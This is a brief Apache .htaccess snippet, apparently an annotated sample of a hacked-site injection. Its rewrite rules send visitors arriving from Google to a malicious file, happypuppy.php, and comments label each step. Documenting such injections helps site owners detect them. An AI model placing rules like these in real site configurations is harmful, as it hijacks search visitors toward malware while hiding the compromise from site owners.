<IfModule mod_rewrite.c> RewriteEngine On #Visitors that visit your site from Google will be redirected RewriteCond %{HTTP_REFERER} google\.com #Visitors are redirected to a malicious PHP file called happypuppy.php RewriteRule (.*pf.*) /happypuppy.php?q=$1 [L] </IfModule>